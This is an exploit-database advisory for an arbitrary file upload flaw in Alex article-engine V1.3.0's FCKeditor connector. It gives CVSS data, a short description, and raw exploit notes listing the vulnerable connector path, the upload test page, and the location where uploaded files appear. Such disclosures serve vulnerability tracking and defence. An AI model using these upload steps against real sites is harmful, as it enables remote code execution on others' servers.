Alex article-engine V1.3.0 (fckeditor) Arbitrary File Upload

vendor:

article-engine

by:

Batter

7.5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: article-engine

Affected Version From: V1.3.0

Affected Version To: V1.3.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Alex article-engine V1.3.0 (fckeditor) Arbitrary File Upload

A vulnerability exists in Alex article-engine V1.3.0 (fckeditor) which allows an attacker to upload arbitrary files. This is due to a lack of proper validation of the file type being uploaded. An attacker can exploit this vulnerability by sending a malicious file to the vulnerable script and execute arbitrary code on the server.

Mitigation:

Restrict and grant only trusted users access to the resources.

Source

Exploit-DB raw data:

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#                        Yellow Flood Organization
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# Alex article-engine V1.3.0 (fckeditor) Arbitrary File Upload
#
# Source: http://www.alexscriptengine.de/blog/category/article-engine/
#
# Download: http://www.alexscriptengine.de/blog/asedownloads/article-engine/
#
# Discover by: Batter
#
########################################################################



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- Vulnerability:
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/editors/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?

Command=FileUpload&Type=File&CurrentFolder=/

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- Exploit:
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http://www.site.com/path/admin/includes/FCKeditor/editor/filemanager/browser/default/connectors/test.html

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- how To use:
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http://www.site.com/script-folder-name/script-folder-name/images/site_images/uploadet-file.*

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- Solution:
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Restrict and grant only trusted users access to the resources.

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- Greets :
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THE.HACKER.ONE , Str0ke

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